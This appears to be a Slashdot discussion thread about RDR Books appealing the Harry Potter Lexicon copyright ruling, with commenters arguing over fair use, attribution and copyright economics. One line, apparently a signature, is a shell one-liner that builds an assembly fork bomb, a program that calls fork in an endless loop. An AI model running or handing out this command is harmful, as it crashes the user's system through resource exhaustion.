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An Appeal In the "Harry Potter Lexicon" Case
NewYorkCountryLawyer writes "RDR Books, the would-be publisher of the book version of the 'Harry Potter Lexicon' Web site, has filed an appeal from the judge's decision in Warner Bros. Pictures v. RDR Books, the case involving the Harry Potter Lexicon. The judge, after a bench trial, issued an injunction and awarded statutory damages of $6,750 (as we discussed at the time), holding that the Lexicon was not protected by fair use due to (a) sloppiness in attribution in sections, (b) the length of some of the quotes, and (c) imitation of J. K. Rowling's writing style in portions. I recently wrote an article criticizing the opinion, but doubting that an appeal would be taken in view of the small damages award. I guess I underestimated the resolve of the defendants and defendants' lawyers — who include the Stanford Law School Center for Internet and Society."
"Imitation of [Author X]'s writing style" would cover any written satire of the author. Since satire is universally accepted as protected and allowed under copyright law, imitation of style cannot be considered copyright infringement.
As a matter of fact this extends beyond writing to all works that can be copyrighted. Imitation of style covers, essentially, any possible satire.
Diagonal lines are as straight as any other lines.
Fair use necessitates attribution- making it clear when text is being quoted or paraphrased, and when new material is being added by the author. One of the points cited by the judge was the sloppy attribution and long quotes. By imitating Rowling's style while including long, unattributed portions of her work the authors of the Lexicon are making it unclear where her text ends and theirs begins, making their work appear to be a new composite work derived from Rowlings text rather than a work that comments on, satirizes, etc. Rowlings material.
The gist of the decision seems to be that if the Lexicon did a better job of clearly identifying what is Rowling's work and what is their own. That makes it hard to argue that they are commenting on or sampling Rowling's test in a manner compatible with fair use. Imitating Rowling's style is part of what creates the confusion.
What does her wealth have to do with it? I was not aware that society's subjective judgment of whether someone has made "enough" money from one's intellectual property was a factor in copyright law. Either there's a copyright infringement or there isn't. Rowling's wealth and success are irrelevant.
I remember seeing this comment in the earlier discussion some time back.
While wealth might not be a factor in whether there's an infringement or not, wealth is relevant to the theory of copyright law. Copyright doesn't exist to make people lots of money. It exists to provide incentive for people to create things they otherwise wouldn't have created.
In terms of economics, paying a dollar more than is required to provide that incentive, or providing a day more copyright, is inefficient. If the author would have created it without that extra little bit, then that extra little bit is a waste. Society is overpaying for creativity.
Of course, determining the exact amount of incentive in each case isn't feasible, so there will always be some overpaying. However, the point is that if copyright were making every rights holder wealthy, it would probably indicate that society was in general overpaying for its creativity. And, as in the case, if one rights holder becomes very wealthy, society is probably overpaying in that instance.
Would Rowling still have written her books if the work only got her half her current earnings? Probably. A quarter or a tenth? Still probable. Would she have written the books if copyright only lasted 15 years, instead of decades? Probably. Society is undoubtedly overpaying for this creativity.
"Anyone who [rips a CD] is probably engaging in copyright infringement." - David O. Carson
I'm not sure you can compare the HPL and a research paper. The actual text in Harry Potter is the basis of a billion dollar industry and Rowling's publishers have very good lawyers. Fair use has rules about quote length and attribution and it seems like this guy broke them. Of course a lot of research papers may break those same rules but it would be very unlikely anyone would sue over that.
Slashdot is schizophrenic about copyright, if someone had taken big chunks of GPL code and used them in a closed source application everyone would be baying for blood, but for some reason Harry Potter is considered entertainment and therefore OK to copy, a bit like movies and music. In a sense Harry Potter is open source - the text is freely available. It definitely isn't Creative Commons though, so while you are free to cite it you are not free to make derivative works, unless you have an agreement with Rowling herself.
From what I've read this guy cut and pasted big chunks of the original text and didn't add much himself. While the whole thing was non commercial he was safe but as soon as he started to make money he wasn't. It's actually the literary equivalent of using GPL code in a commercial, closed source application.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's weird, isn't it?
You'd almost think there was more than one person posting here.
"I've got more toys than Teruhisa Kitahara."